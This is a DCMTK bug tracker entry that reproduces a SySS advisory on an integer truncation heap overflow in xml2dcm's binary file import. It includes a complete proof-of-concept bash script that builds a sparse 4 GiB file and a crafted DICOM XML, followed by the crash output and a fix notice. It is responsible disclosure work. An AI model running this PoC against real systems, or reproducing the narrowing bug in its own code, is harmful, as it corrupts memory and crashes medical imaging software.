DCMTK - Bug #1245

SYSS-2026-048: Heap buffer overflow in xml2dcm binary file import

2026-07-03 12:41 - Michael Onken

Status:	Closed	**Start date:**	2026-07-03
Priority:	High	**Due date:**	
Assignee:		**% Done:**	0%
Category:		**Estimated time:**	0:00 hour
Target version:			
Module:	dcmdata	**Compiler:**	All
Operating System:	All		

Description

As reported by Matthias Deeg (SySS GmbH):

SYSS-2026-048 — Heap buffer overflow in xml2dcm binary file import

Field	Value
Advisory ID	SYSS-2026-048
Product	DCMTK (DICOM Toolkit)
Manufacturer	OFFIS e.V. / DCMTK Community
Affected Version(s)	3.7.0
Tested Version(s)	3.7.0
Vulnerability Type	Integer Overflow or Wraparound (CWE-190)
Risk Level	High
Solution Status	Open
Manufacturer Notification	2026-07-02
CVE Reference	Not yet assigned
Author of Advisory	Matthias Deeg, SySS GmbH

Overview

DCMTK is an open-source collection of libraries and applications implementing large parts the DICOM (Digital Imaging and Communications in Medicine) standard. [1]

The xml2dcm application and the DcmXMLReader library are vulnerable to a heap buffer overflow when importing external binary files larger than 4 GiB via the binary="file" XML attribute. The file size is measured as size_t but narrowed to Uint32 for the heap allocation, while the full size_t length is used as the fread() read size.

Vulnerability Details

```
The function DcmXMLReader::createBinaryElementFromFile() in
libdcxml/xml2dcm.cc (lines 311-330) imports external binary files
referenced by binary="file" in XML:

  const size_t fileSize = OFStandard::getFileSize(filename);
  size_t buflen = fileSize;
  if (buflen & 1)
      buflen++;

  if (dcmEVR == EVR_OW)
      result = element->createUint16Array(
          OFstatic_cast(Uint32, buflen / 2), buf16);
  else
```

```
      result = element->createUint8Array(
          OFstatic_cast(Uint32, buflen), buf);

  if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ...

The file size is measured as size_t, narrowed to Uint32 for allocation,
thenused as the full size_t read length.

The attack chain is:

  1. Attacker creates a file larger than 4 GiB (e.g., 4294967297 bytes)

  2. Attacker crafts a DICOM XML with binary="file" referencing the
     large file

  3. xml2dcm reads the file size as size_t (4294967297)

  4. createUint8Array() allocates only the low 32 bits (2 bytes)

  5. fread() writes 4294967297 bytes into the 2-byte buffer
```

Proof of Concept (PoC)

```
The following exploit script creates a sparse 4294967297-byte file and a
DICOM XML referencing it as Pixel Data (OB binary="file"), then runs
xml2dcm.

cat > poc.sh << 'EOPOC'
#!/bin/bash
#
# XML binary="file" Length Truncation -> Heap Buffer Overflow
# Proof of concept exploit for SYSS-2026-048
#
# xml2dcm measures file size as size_t, narrows to Uint32 for allocation,
# then uses full size_t for fread — causing heap overflow for files > 4 GiB.
#
# A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space.
#   fileSize = 4294967297 (0x100000001)
#   buflen   = 4294967298 (odd, rounded up)
#   createUint8Array(Uint32(4294967298)) = createUint8Array(2) -> 2-byte heap allocation
#   fread(buf, 1, 4294967297, f) -> writes 4 GiB into 2-byte buffer -> heap corruption
#

set -euo pipefail

XML2DCM="xml2dcm"
WORKDIR="/tmp/h4_poc_$$"
SPARSE_SIZE=4294967297  # 4 GiB + 1 byte

echo "=== PoC: XML binary=\"file\" Length Truncation -> Heap Overflow ==="
echo ""
echo "Vulnerability: xml2dcm.cc:311-330"
echo "  size_t fileSize = OFStandard::getFileSize(filename);   // 64-bit"
echo "  element->createUint8Array(Uint32(buflen), buf);        // narrowed to 32-bit"
echo "  fread(buf, 1, fileSize, f);                            // full 64-bit read"
echo ""
echo "Configuration:"
echo "  File size:        $SPARSE_SIZE bytes (0x100000001, sparse — 0 bytes on disk)"
echo "  Allocation:       Uint32($SPARSE_SIZE) = 2 bytes (truncated!)"
echo "  fread length:     $SPARSE_SIZE bytes (full size_t)"
echo "  xml2dcm:          $XML2DCM"
echo ""

mkdir -p "$WORKDIR"

# Step 1: Create sparse file
```

```
SPARSE_FILE="$WORKDIR/large.bin"
echo "[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)..."
truncate -s "$SPARSE_SIZE" "$SPARSE_FILE"
echo "[+] Sparse file: $SPARSE_FILE"
ls -lh "$SPARSE_FILE"

# Step 2: Create XML referencing the sparse file
XML_FILE="$WORKDIR/exploit.xml"
echo ""
echo "[*] Creating XML file with binary=\"file\" reference..."
cat > "$XML_FILE" << XMLEOF
<?xml version="1.0" encoding="UTF-8"?>
<file-format xmlns="http://dicom.offis.de/dcmtk">
<meta-header xfer="1.2.840.10008.1.2" name="Little Endian Explicit"></meta-header>
<data-set xfer="1.2.840.10008.1.2">
  <element tag="0008,0016" vr="UI">1.2.840.10008.1.2</element>
  <element tag="0008,0018" vr="UI">1.2.3.4.5.6.7.8.9</element>
  <element tag="7FE0,0010" vr="OB" binary="file">$SPARSE_FILE</element>
</data-set>
</file-format>
XMLEOF
echo "[+] XML file: $XML_FILE"

# Step 3: Run xml2dcm
OUTPUT_FILE="$WORKDIR/output.dcm"
echo ""
echo "[*] Running xml2dcm..."
echo ""

OUTPUT=$("$XML2DCM" "$XML_FILE" "$OUTPUT_FILE" 2>&1) && EXIT_CODE=0 || EXIT_CODE=$?

echo "---"
echo "Result:"
echo "  Exit code: $EXIT_CODE"
echo "  Output:"
echo "$OUTPUT"
echo ""

# Clean up
rm -rf "$WORKDIR"

if [ $EXIT_CODE -ne 0 ]; then
    echo "[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE"
    echo "    The 4 GiB + 1 byte sparse file was allocated as 2 bytes"
    echo "    and fread wrote 4 GiB into it, corrupting the heap."
else
    echo "[-] FAIL: xml2dcm did not crash."
fi

echo ""
echo "=== PoC complete ==="
EOPOC

The exploit causes xml2dcm to abort with "malloc(): invalid size
(unsorted)" (SIGABRT), confirming the truncated allocation and heap
corruption.

=== PoC: XML binary="file" Length Truncation -> Heap Overflow ===

Vulnerability: xml2dcm.cc:311-330
  size_t fileSize = OFStandard::getFileSize(filename);   // 64-bit
  element->createUint8Array(Uint32(buflen), buf);        // narrowed to 32-bit
  fread(buf, 1, fileSize, f);                            // full 64-bit read

Configuration:
  File size:        4294967297 bytes (0x100000001, sparse — 0 bytes on disk)
  Allocation:       Uint32(4294967297) = 2 bytes (truncated!)
```

```
  fread length:     4294967297 bytes (full size_t)
  xml2dcm:          xml2dcm

[*] Creating sparse file of 4294967297 bytes (0 bytes on disk)...
[+] Sparse file: /tmp/h4_poc_50290/large.bin
-rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin

[*] Creating XML file with binary="file" reference...
[+] XML file: /tmp/h4_poc_50290/exploit.xml

[*] Running xml2dcm...

---
Result:
  Exit code: 134
  Output:
malloc(): invalid size (unsorted)

[+] SUCCESS: xml2dcm crashed with exit code 134
    The 4 GiB + 1 byte sparse file was allocated as 2 bytes
    and fread wrote 4 GiB into it, corrupting the heap.

=== PoC complete ===
```

Solution

Reject external binary files whose size exceeds the DICOM 32-bit value length limit before allocation or read.

Disclosure Timeline

```
2026-07-02: Vulnerability reported to manufacturer
```

References

- DCMTK project website https://dcmtk.org/en/
- SySS Security Advisory SYSS-2026-048 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-048.txt
- SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy

Credits

```
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.

E-Mail: matthias.deeg (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
```

Disclaimer

The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website.

Copyright

History

#1 - 2026-07-03 14:32 - Michael Onken

- Status changed from New to Resolved

Fixed with commit ebeafd016bcef34021111550cc2a644129d89825

#2 - 2026-07-06 19:17 - Michael Onken

- Status changed from Resolved to Closed

- Private changed from Yes to No